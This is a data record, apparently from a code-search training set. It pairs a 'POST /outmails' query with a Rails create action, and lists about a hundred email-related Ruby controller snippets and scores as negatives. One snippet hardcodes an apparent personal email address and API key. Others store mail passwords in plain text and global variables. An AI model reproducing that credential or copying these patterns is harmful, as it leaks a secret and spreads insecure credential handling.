"def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def index\n @mail_items = MailItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mail_items }\n end\n end",
"def index\n @emails = current_user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def index\n @service_emails = ServiceEmail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @service_emails }\n end\n end",
"def show\n @emails = JSON.parse(@notification.fetch_emails)\n end",
"def index\n @ourmails = Mail.all\n end",
"def index\n @recipients = Recipient.all\n # render json: @recipients\n end",
"def show\n @users_mail = UsersMail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users_mail }\n end\n end",
"def index\n @recipients = Recipient.order('email')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipients }\n end\n end",
"def index\n @emails = JSON[access_token.get(\"/api/v1/emails\").body]\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @emails }\n end\n end",
"def index\n @gee_mails = GeeMail.all\n end",
"def index\n @mail_tmps = MailTmp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mail_tmps }\n end\n end",
"def index\n @mails = Mail.all\n end",
"def show\n @entry_mail = EntryMail.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @entry_mail }\n end\n end",
"def index\n @message_outs = MessageOut.all\n end",
"def index\n @inform_mails = InformMail.page(params[:page]).per(10).order(\"id DESC\")\n end",
"def index\n @emails = @kontact_information.emails.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.mobile\n format.xml { render :xml => @emails }\n end\n end",
"def show\n @usermail = Usermail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @usermail }\n end\n end",
"def show\n @my_mail = MyMail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_mail }\n end\n end",
"def index\n @mails = Mail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mails }\n end\n end",
"def index\n @outlooks = Outlook.all\n end",
"def index\n @mail_items = MailItem.all\n end",
"def show\n @email = @user.emails.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email }\n end\n end",
"def show\n @email = @user.emails.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email }\n end\n end",
"def set_outmail\n @outmail = Outmail.find(params[:id])\n end",
"def index\n @direct_messages = DirectMessage.get_direct_messages(current_user)\n \n @recipients = User.reachable_users(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @direct_messages }\n end \n end",
"def index\n @admin_customer_emails = Admin::Customer::Email.order('generated_at desc')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_customer_emails }\n end\n end",
"def index\n dashboard = fetch_email_dashboard\n respond_with dashboard, represent_with: DashboardRepresenter\n end",
"def emails\n respond_with_entity(api.get('/api/v1/profile/emails'),\n NexaasID::Entities::Profile::Emails)\n end",
"def show\n @inform_mail = InformMail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inform_mail }\n end\n end",
"def show\n json_response(@email)\n end",
"def index\n @email_listings = EmailListing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @email_listings }\n end\n end",
"def destroy\n @outmail.destroy\n respond_to do |format|\n format.html { redirect_to outmails_url, notice: 'Outmail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def mail_unread\n initialize_mocks if @fake\n\n service = Google::Apis::Core::BaseService.new('https://mail.google.com/', 'mail/feed/atom/')\n service.authorization = user_authorization\n service.http(:get, 'https://mail.google.com/mail/feed/atom/')\n end",
"def index\n @email_templates = EmailTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @email_templates }\n end\n end",
"def index\n options = params.dup\n email = options.delete(:email)\n if MailHandler.receive(email, options)\n head :created\n else\n head :unprocessable_entity\n end\n end",
"def index\n @emails = Email.all\n end",
"def index\n @emails = Email.all\n end",
"def index\n @emails = Email.all\n end",
"def index\n @emails = Email.all\n end",
"def index\n @emails = Email.all\n end",
"def index\n @emails = Email.all\n end",
"def show\n @user_send_mail = UserSendMail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_send_mail }\n end\n end",
"def show\n @mail_item = MailItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mail_item }\n end\n end",
"def index\n verify_email = VerifyEmail.all\n json_response(verify_email)\n end",
"def index\n @request_emails = RequestEmail.all\n end",
"def index\n @mail_servers = MailServer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mail_servers }\n end\n end",
"def show\n @mailer = Mailer.find(params[:id])\n\n render json: @mailer\n end",
"def index\n @raw_mails = RawMail.all\n end",
"def emails(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Emails\", params: params)\n end",
"def show\n @mail_check = MailCheck.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mail_check }\n end\n end",
"def index\n @fundamental_retention_mails = Fundamental::RetentionMail.paginate(:order => 'id', :page => params[:page], :per_page => 50) \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamental_retention_mails }\n end\n end",
"def get_mails\n if params[:action] == 'get_mails'\n Log.add_info(request, params.inspect)\n end\n\n if !params[:pop].nil? and params[:pop] == 'true'\n\n mail_account_id = params[:mail_account_id]\n SqlHelper.validate_token([mail_account_id])\n\n begin\n new_arrivals_h = {}\n\n if mail_account_id.blank?\n mail_accounts = MailAccount.find_all(\"user_id=#{@login_user.id}\")\n mail_accounts.each do |mail_account|\n emails = Email.do_pop(mail_account)\n unless emails.empty?\n new_arrivals_h[mail_account.id] ||= []\n new_arrivals_h[mail_account.id] |= emails\n end\n end\n else\n mail_account = MailAccount.find(mail_account_id)\n emails = Email.do_pop(mail_account)\n unless emails.empty?\n new_arrivals_h[mail_account.id] ||= []\n new_arrivals_h[mail_account.id] |= emails\n end\n end\n\n unless new_arrivals_h.empty?\n flash[:notice] = t('mail.received', :count => new_arrivals_h.values.flatten.length)\n\n # FEATURE_MAIL_FILTERS >>>\n new_arrivals_h.each do |mail_account_id, emails|\n mail_filters = MailFilter.get_for(mail_account_id, true, MailFilter::TRIGGER_CHECKING)\n filter_next = true\n\n emails.each do |email|\n mail_filters.each do |filter|\n filter_next = filter.execute(email)\n break unless filter_next\n end\n break unless filter_next\n end\n end\n # FEATURE_MAIL_FILTERS <<<\n end\n rescue => evar\n if evar.to_s.starts_with?('ERROR:')\n flash[:notice] = evar.to_s\n else\n flash[:notice] = 'ERROR:' + t('mail.receive_error') + '<br/>' + evar.to_s\n end\n Log.add_error(nil, evar)\n end\n end\n\n @folder_id = params[:id]\n SqlHelper.validate_token([@folder_id])\n\n if @folder_id == TreeElement::ROOT_ID.to_s\n @emails = nil\n else\n=begin\n# @emails = MailFolder.get_mails_to_show(@folder_id, @login_user)\n=end\n# FEATURE_PAGING_IN_TREE >>>\n @sort_col = (params[:sort_col] || 'sent_at')\n @sort_type = (params[:sort_type] || 'DESC')\n SqlHelper.validate_token([@sort_col, @sort_type], ['.'])\n\n sql = EmailsHelper.get_list_sql(@login_user, params[:keyword], [@folder_id], @sort_col, @sort_type, 0, nil)\n @email_pages, @emails, @total_num = paginate_by_sql(Email, sql, 10)\n# FEATURE_PAGING_IN_TREE <<<\n end\n\n session[:mailfolder_id] = @folder_id\n\n render(:partial => 'ajax_folder_mails', :layout => false)\n end",
"def show\n @mail_tmp = MailTmp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mail_tmp }\n end\n end",
"def index\n @inbound_emails = InboundEmail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @inbound_emails }\n end\n end",
"def show\n @entry_mail_type = EntryMailType.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @entry_mail_type }\n end\n end",
"def show\n respond_with fetch_email(params[:id])\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pushup_reminders }\n end\n end",
"def show\n @emailu = Emailu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @emailu }\n end\n end",
"def index\n @email_notifications = EmailNotification.all\n end",
"def index\n @emails = ShipEmailBLL.paginate(page: params[:page])\n render ('index')\n end",
"def show\n @mail_typ = MailTyp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mail_typ }\n end\n end",
"def show\n @email_listing = EmailListing.find(params[:id])\n unless current_user.is_admin?\n @emails = []\n else\n @emails = @email_listing.emails\n end\n @listing = (@emails.nil? ? [] : @emails.map(&:address).compact.each_slice(@email_listing.per_line).to_a)\n\n @listing_size = @emails.size\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email_listing }\n end\n end",
"def index\n @recipients = @user.recipients\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @recipients }\n end\n end",
"def get_mailboxes\n get(\"mailboxes\")\n end",
"def unread\n\n begin\n\n id_cuenta = params[:id]\n @setting_email = SettingsEmail.where(id: id_cuenta)\n\n if @setting_email.blank?\n\n render json: {errors: {message: \"Debes configurar la cuenta de correo entrante\"}}\n\n else\n\n @setting_email.each do |setting|\n $server = setting.server\n $port = setting.port\n $username = setting.username\n $password = setting.password\n end\n\n ENV['option'] = 'unread'\n load 'script/mailman_function.rb'\n render json: {errors: {data: @@unread, status: 200, message: \"conexión exitosa\"}}\n\n end\n\n rescue\n\n render json: { errors: {data: @data, status: 500, message: \"Error! valida las credenciales de acceso o revisa la configuración de tu cuenta\"} }\n\n end\n\n end",
"def get_mails\n gmail = Gmail.connect @current_user.login, @current_user.password\n return nil unless gmail.logged_in?\n\n mails = gmail.inbox.find :unread, after: @filter_date + 1\n sent_mails = gmail.label(\"[Gmail]/Sent Mail\").find(afetr: @filter_date + 1)\n sent_mails.each { |e| mails << e }\n mails.sort_by!(&:date)\n\n end",
"def index\n @messages = current_user.messages_in.order('created_at ASC').group('sender_id')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"def show\n @service_email = ServiceEmail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service_email }\n end\n end",
"def index\n @emails = @claim.emails.page(params[:page]).per(50)\n end",
"def show\n @email = Email.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email }\n end\n end",
"def show\n @email = Email.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email }\n end\n end",
"def index\n @contact_us_emails = ContactUsEmail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contact_us_emails }\n end\n end",
"def index\n @q = MsgMail.active.ransack(params[:q])\n @mails = @q.result.includes(:mail_type).page(params[:page]).per(15)\n end",
"def mails\n\n begin\n @imap = WmailImapUtils.current_imap\n \n if not @imap.blank?\n @mailbox = params['mailbox']\n @min = params['min'].to_i\n @max = params['max'].to_i\n @total = params['total'].to_i\n\n @imap.select(@mailbox)\n @mails = @imap.fetch(@total-@max..@total-@min, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n end\n rescue\n redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'\n end\n end",
"def mailboxes_list\n get \"mailboxes\"\n end",
"def index\n\n @emails = Email.all\n #redirect_to invites_path\n\n end",
"def index\n @accounts = current_user.person.gmail_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end",
"def index\n @cliente_emails = ClienteEmail.all\n end",
"def show\n @dispatched_email = DispatchedEmail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dispatched_email }\n end\n end",
"def index\n # find all links to assigned invoices\n @links = current_recipient.links.includes(:invoice, :recipient)\n\n # only respond to html and json formats\n respond_to do |format|\n format.any(:html, :json)\n end\n end",
"def index\n @emails = DirectEmail.scoped\n\n if params.keys.include? \"company_id\"\n @emails = @emails.where(:company_id => params[:company_id])\n end\n\n if params.keys.include? \"limit\"\n @emails = @emails.limit(params[:limit])\n end\n\n respond_with @emails\n end",
"def index\n @receive_emails = ReceiveEmail.all\n end",
"def index\n @usuarios_emails = UsuariosEmail.all\n end",
"def index\n @mailings = Mailing.paginate(:page => params[:page], :per_page => 20,\n :order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mailings }\n end\n end",
"def index\n @messies = Messy.all\n\n render json: @messies\n end",
"def new\n @mad_mimi_email = MadMimiEmail.new\n @mimi = MadMimi.new('sarahsponda902@gmail.com', 'df65cf0a215c2b3028fa7eaf89a6f2ba')\n @promotions = @mimi.promotions\n @emails = User.where(:notify => true).map(&:email)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mad_mimi_email }\n end\n end",
"def get_mailing_by_id(id)\n get(\"/mailings/#{id}\")\n end",
"def index\n @forgotmails = Forgotmail.all\n end",
"def index\n @email_users = Email::User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @email_users }\n end\n end",
"def index\n @user_emails = UserEmail.all\n end",
"def index\n @emails = Email.scoped\n\n if params.keys.include? \"company_id\"\n @emails = @emails.where(:company_id => params[:company_id])\n end\n\n if params.keys.include? \"limit\"\n @emails = @emails.limit(params[:limit])\n end\n\n respond_with @emails\n end",
"def index\n options = params.dup\n email = options.delete(:email)\n if ContactsMailer.receive(email, options)\n render :nothing => true, :status => :created\n else\n render :nothing => true, :status => :unprocessable_entity\n end\n end",
"def show\n @fundamental_retention_mail = Fundamental::RetentionMail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundamental_retention_mail }\n end\n end",
"def show\n @email = Email.find(params[:id])\n respond_with @email\n end",
"def index\n @mail_lists = MailList.all\n end"
] |
[
"0.7270228",
"0.66655177",
"0.65874594",
"0.6584399",
"0.6565151",
"0.6565151",
"0.6556329",
"0.63845557",
"0.6376616",
"0.62930006",
"0.6280007",
"0.6239732",
"0.62341446",
"0.62257296",
"0.62030625",
"0.6178607",
"0.61752516",
"0.6156806",
"0.61275905",
"0.6104248",
"0.60999745",
"0.60890645",
"0.608879",
"0.6077983",
"0.5997399",
"0.5982639",
"0.59820706",
"0.59794414",
"0.59794414",
"0.596812",
"0.596403",
"0.59493047",
"0.59399307",
"0.5920518",
"0.5913126",
"0.59094346",
"0.5897744",
"0.58455765",
"0.5836823",
"0.58344364",
"0.5832354",
"0.58220184",
"0.58220184",
"0.58220184",
"0.58220184",
"0.58220184",
"0.58220184",
"0.581776",
"0.5817329",
"0.58029944",
"0.578891",
"0.578795",
"0.5765086",
"0.57533616",
"0.5736975",
"0.57365036",
"0.5724093",
"0.57196426",
"0.5707267",
"0.57053643",
"0.57013005",
"0.56907505",
"0.568564",
"0.5678351",
"0.5674405",
"0.5672862",
"0.56711197",
"0.5670133",
"0.5669061",
"0.5667824",
"0.5659034",
"0.5657718",
"0.56556475",
"0.5646245",
"0.5644714",
"0.56355715",
"0.56355715",
"0.56274194",
"0.5626194",
"0.5624099",
"0.56140935",
"0.560344",
"0.5600377",
"0.5592397",
"0.5591925",
"0.55836374",
"0.55819064",
"0.5577788",
"0.55652124",
"0.5558965",
"0.55544436",
"0.5548117",
"0.5545545",
"0.55407995",
"0.5537606",
"0.5535362",
"0.5533477",
"0.5525297",
"0.5516867",
"0.5514345",
"0.5506672"
] |
0.0
|
-1
|
POST /outmails POST /outmails.json
|
def create
@outmail = Outmail.new(outmail_params)
respond_to do |format|
if @outmail.save
format.html { redirect_to @outmail, notice: 'Outmail was successfully created.' }
format.json { render :show, status: :created, location: @outmail }
else
format.html { render :new }
format.json { render json: @outmail.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def outmail_params\n params.require(:outmail).permit(:title, :to, :datesend, :mailtext, :response)\n end",
"def index\n @outmails = Outmail.all\n end",
"def destroy\n @outmail.destroy\n respond_to do |format|\n format.html { redirect_to outmails_url, notice: 'Outmail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def set_outmail\n @outmail = Outmail.find(params[:id])\n end",
"def create\n @inform_mail = InformMail.new(params[:inform_mail])\n @inform_mail.sender = current_user\n respond_to do |format|\n if @inform_mail.save\n format.html { redirect_to inform_mails_url }\n format.json { render json: inform_mails_path(type: \"output\"), status: :created, location: @inform_mail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inform_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @outmail.update(outmail_params)\n format.html { redirect_to @outmail, notice: 'Outmail was successfully updated.' }\n format.json { render :show, status: :ok, location: @outmail }\n else\n format.html { render :edit }\n format.json { render json: @outmail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @message_out = MessageOut.new(message_out_params)\n\n respond_to do |format|\n if @message_out.save\n format.html { redirect_to @message_out, notice: 'Message out was successfully created.' }\n format.json { render :show, status: :created, location: @message_out }\n else\n format.html { render :new }\n format.json { render json: @message_out.errors, status: :unprocessable_entity }\n end\n end\n end",
"def jobs_notifier(email_list)\n @listed_jobs = JobPosting.where(created_at: (Time.now.midnight-5.days)..(Time.now))\n @greeting = \"Hi\"\n headers['X-SMTPAPI'] = { :to => email_list.to_a }.to_json\n mail(\n :to => \"info@ourcompany.com\",\n :subject => \"New Job Posted!\"\n )\n \n end",
"def create\n @email_update = EmailUpdate.new(params[:email_update])\n\n respond_to do |format|\n if @email_update.save\n @emailList = Email.pluck(:email)\n @emailList.each do |recipient|\n UserMailer.info_email(@email_update.subject, @email_update.message, recipient).deliver \n end\n format.html { redirect_to @email_update, notice: 'Email update was successfully created.' }\n format.json { render json: @email_update, status: :created, location: @email_update }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @outmessages = Outmessage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @outmessages }\n end\n end",
"def index\n @message_outs = MessageOut.all\n end",
"def smssend\n http = get_http_connection() \n post_args = { 'number' => params[:number], 'text' => params[:text],'replyto' => params[:replyto], 'name' => @pysmsd_config.app_name, 'password' => @pysmsd_config.app_password }\n \n request = Net::HTTP::Post.new('/messages/out.json')\n request.set_form_data(post_args)\n resp = http.request(request)\n json = JSON.parse(resp.body)\n render_json :entry => json\n end",
"def create\n @usermail = Usermail.new(params[:usermail])\n\n respond_to do |format|\n if @usermail.save\n\t UserMailer.welcome_email(@usermail).deliver\n format.html { redirect_to @usermail, :notice => 'Usermail was successfully created.' }\n format.json { render :json => @usermail, :status => :created, :location => @usermail }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @usermail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def outbox\n\n #handle new signatures\n @general_signature = params[:general_signature]\n @gw_signature = params[:gw_signature]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unsent_messages }\n end\n end",
"def create\n @entry_mail = EntryMail.new(params[:entry_mail])\n \n respond_to do |format|\n if @entry_mail.save\n format.html { redirect_to @entry_mail, :notice => t('selecao_admin.flash_messages.successfully_created', :model => @entry_mail.class.model_name.human) }\n format.json { render :json => @entry_mail, :status => :created, :location => @entry_mail }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @entry_mail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @users_mail = UsersMail.new(params[:users_mail])\n\n respond_to do |format|\n if @users_mail.save\n format.html { redirect_to @users_mail, notice: 'Users mail was successfully created.' }\n format.json { render json: @users_mail, status: :created, location: @users_mail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n options = params.dup\n email = options.delete(:email)\n if MailHandler.receive(email, options)\n head :created\n else\n head :unprocessable_entity\n end\n end",
"def create\n @messaging_outbox = Messaging::Outbox.new(params[:messaging_outbox])\n\n respond_to do |format|\n if @messaging_outbox.save\n format.html { redirect_to @messaging_outbox, notice: 'Outbox was successfully created.' }\n format.json { render json: @messaging_outbox, status: :created, location: @messaging_outbox }\n else\n format.html { render action: \"new\" }\n format.json { render json: @messaging_outbox.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @mailings = Mailing.order(\"created_at DESC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mailings }\n end\n end",
"def email_payload\n {\n personalizations: [\n {\n to: [\n email: @to,\n name: @to_name\n ]\n }\n ],\n from: {\n email: @from,\n name: @from_name\n },\n subject: @subject,\n content: [\n {\n type: 'text/plain',\n value: @body\n }\n ]\n }.to_json\n end",
"def index\n @service_emails = ServiceEmail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @service_emails }\n end\n end",
"def create\n @out = Out.new(out_params)\n\n respond_to do |format|\n if @out.save\n format.json { render :json => @out, status: :created, :layout => false }\n else\n format.json { render json: @out.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @emails = Email.all\n json_response(@emails)\n end",
"def create\n @email = Email.new(email_params)\n\n respond_to do |format|\n if @email.save\n if @email.recipients\n recipients = @email.recipients.split(\",\")\n recipients.each { |r|\n Notifications.notify(r,@email.subject,@email.message).deliver_now\n }\n end\n\n\n format.html { redirect_to @email, notice: 'Email was successfully created.' }\n format.json { render :show, status: :created, location: @email }\n else\n format.html { render :new }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_data\n message=\"\"\n email_params = { :email => paramsp[:email], :last_name => params[:last_name],:first_name => params[:first_name],:id => params[:id],:updated_at => params[:updated_at] }\n case params[:oper]\n when 'add'\n if params[\"id\"] == \"_empty\"\n email = Email.create(email_params)\n message << ('add ok') if email.errors.empty?\n end\n \n when 'edit'\n #email = Email.find(params[:id])\n email = Subscriber.find(params[:id])\n message << ('update ok') if email.update_attributes(email_params)\n when 'del'\n Email.destroy_all(:id => params[:id].split(\",\"))\n message << ('del ok')\n when 'sort'\n # emails = Email.all\n email = Subscriber.all\n emails.each do |email|\n email.position = params['ids'].index(email.id.to_s) + 1 if params['ids'].index(email.id.to_s) \n email.save\n end\n message << \"sort ak\"\n else\n message << ('unknown action')\n end\n \n unless (email && email.errors).blank? \n email.errors.entries.each do |error|\n message << \"<strong>#{Email.human_attribute_name(error[0])}</strong> : #{error[1]}<br/>\"\n end\n render :json =>[false,message]\n else\n render :json => [true,message] \n end\n end",
"def index\n @mail_items = MailItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mail_items }\n end\n end",
"def destroy\n @ourmail.destroy\n respond_to do |format|\n format.html { redirect_to ourmails_url }\n format.json { head :no_content }\n end\n end",
"def respond_action(options, to_recipients)\n doc = @request_builder.action(options)\n @mails.push(doc)\n end",
"def mailman\n a = RestClient.post \"https://api:03ee8a853e31d8648cf06b82f7c30dcb-3d0809fb-3486193e\" \\\n\t \"@api.mailgun.net/v3/sandbox023900a156f3425e819b872335392423.mailgun.org/messages\",\n :from => \"MPPP MAILER BOT <yannick.mvondo@paiemequick.com>\",\n :to => \"mvondoyannick@gmail.com\",\n :subject => \"Hello\",\n :text => params[:lorem]\n\n if a.code == 200\n redirect_to dashboard_path, notice: \"Mail sended\"\n else\n redirect_to dashboard_path, notice: \"Impossible to send mail\"\n end\n end",
"def sendout\n # do tricky HL7 and PIT stuff with narrative\n for recipient in self.user.interested_parties\n if recipient.wedgetail != created_by # don't sent back to original sender\n # do tricky encryption and email stuff for recipient\n om = OutgoingMessage.new(:recipient_id=>recipient.wedgetail)\n self.outgoing_messages << om\n om.sendout recipient\n om.save!\n end\n end\n end",
"def outgoings\n @patient=User.find_by_wedgetail(params[:wedgetail],:order =>\"created_at DESC\")\n authorize_only (:patient) {@patient.wedgetail == @user.wedgetail}\n authorize :user\n @narrative = Narrative.find(params[:id])\n @outgoings = @narrative.outgoing_messages\n end",
"def create\n @outmessage = Outmessage.new\n @outmessage.destination = params[:outmessage][:destination]\n @outmessage.message = params[:outmessage][:message]\n @outmessage.user = User.find_by_username(session[:user_id].username)\n\n if @outmessage.save\n if (params[:ajax_request])\n render :layout => false\n end\n notify_push_user(@outmessage)\n end\n end",
"def index\n options = params.dup\n email = options.delete(:email)\n if ContactsMailer.receive(email, options)\n render :nothing => true, :status => :created\n else\n render :nothing => true, :status => :unprocessable_entity\n end\n end",
"def destroy\n @inform_mail.destroy\n respond_to do |format|\n format.html { redirect_to inform_mails_url }\n format.json { head :no_content }\n end\n end",
"def outbox\r\n @messages = current_user.outbox_messages\r\n session[:mail_box] = \"outbox\"\r\n render :action => \"messages\"\r\n end",
"def provider_transfer_out_notification\n induction_record = params[:induction_record]\n lead_provider_profile = params[:lead_provider_profile]\n\n template_mail(\n TRANSFER_OUT_FOR_PROVIDER_TEMPLATE,\n to: lead_provider_profile.user.email,\n rails_mailer: mailer_name,\n rails_mail_template: action_name,\n personalisation: {\n joining_date: induction_record.start_date.to_date.to_fs(:govuk),\n external_participant_id: induction_record.participant_profile.participant_identity.user_id,\n },\n ).tag(:provider_transfer_out_notification).associate_with(lead_provider_profile, as: :lead_provider_profile)\n end",
"def destroy\n @mail.destroy\n respond_to do |format|\n format.html { redirect_to mails_url }\n format.json { head :no_content }\n end\n end",
"def non_subscriber_post(email)\n end",
"def create\n @my_mail = MyMail.new(params[:my_mail])\n\n respond_to do |format|\n if @my_mail.save\n format.html { redirect_to @my_mail, notice: 'My mail was successfully created.' }\n format.json { render json: @my_mail, status: :created, location: @my_mail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @users_mail = UsersMail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @users_mail }\n end\n end",
"def mailer_to_list(list, options = {})\n list = list.join(',') if list.is_a?(Array)\n options = {:list_name => list}.merge(options)\n response = post('mailer/to_list', options)\n # response was a string that included RestClient::AbstractResponse,\n # and it overrided #to_i method (which returns status code)\n String.new(response).to_i\n end",
"def postEmail( to_email_address, reply_email_address, source_account, subject, body, html_body)\n params = Hash.new\n params['to_email_address'] = to_email_address\n params['reply_email_address'] = reply_email_address\n params['source_account'] = source_account\n params['subject'] = subject\n params['body'] = body\n params['html_body'] = html_body\n return doCurl(\"post\",\"/email\",params)\n end",
"def message_out_params\n params.require(:message_out).permit(:content)\n end",
"def generateJSON\n \n tableau_url = get_townhall_urls\n #/ pour chaque URL d'une ville du Val d'Oise, on associe l'adresse mail de la mairie\n File.open(\"../db/emails.json\",\"w\") do |f|\n for townhall_url in tableau_url do\n f.write(JSON.pretty_generate(get_townhall_email(townhall_url)))\n end\n end\n\n end",
"def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def mails\n\n begin\n @imap = WmailImapUtils.current_imap\n \n if not @imap.blank?\n @mailbox = params['mailbox']\n @min = params['min'].to_i\n @max = params['max'].to_i\n @total = params['total'].to_i\n\n @imap.select(@mailbox)\n @mails = @imap.fetch(@total-@max..@total-@min, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n end\n rescue\n redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'\n end\n end",
"def participant_transfer_out_notification\n induction_record = params[:induction_record]\n\n participant_profile = induction_record.participant_profile\n preferred_identity_email = induction_record.preferred_identity.email\n\n template_id = if induction_record.participant_profile.ect?\n TRANSFER_OUT_FOR_ECT_TEMPLATE\n else\n TRANSFER_OUT_FOR_MENTOR_TEMPLATE\n end\n\n template_mail(\n template_id,\n to: preferred_identity_email,\n rails_mailer: mailer_name,\n rails_mail_template: action_name,\n personalisation: {\n transferring_ppt_name: participant_profile.user.full_name,\n current_school_name: induction_record.school.name,\n },\n ).tag(:participant_transfer_out_notification).associate_with(participant_profile, as: :participant_profile)\n end",
"def mailbookmarks\n @email_string=\"#{params[:email_string]}\"\n# Mail all bookmarks\n @bookmarks =User.find(session[:user_id]).bookmarks.scoped\n @bookmarks=@bookmarks.order(:name)\n\n BookmarkMailer.bookmark_created(@bookmarks,@email_string).deliver\n\n\n\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @bookmarks }\n end\n end",
"def index\n @recipients = Recipient.all\n # render json: @recipients\n end",
"def sendemailtoattendees\n \t@users = User.where(:role_id => Role.find_by_title(:attendee))\n \t@sub = params[:emailbody]\n\n @array = []\n\n @users.each do |u|\n @getname = @sub.sub(\"@@Name@@\", \"#{u.first_name} #{u.last_name}\" )\n @array << @getname\n UserMailer.delay.attendee_mail(u, @getname)\n end\n #render :text => @array.to_json\n respond_to do |format|\n \tformat.js\n end\n\n\n end",
"def create\n @email = @user.emails.new(email_params)\n\n respond_to do |format|\n if @email.save\n format.html { redirect_to @email, notice: 'Email was successfully created.' }\n format.json { render json: @email, status: :created, location: @email }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
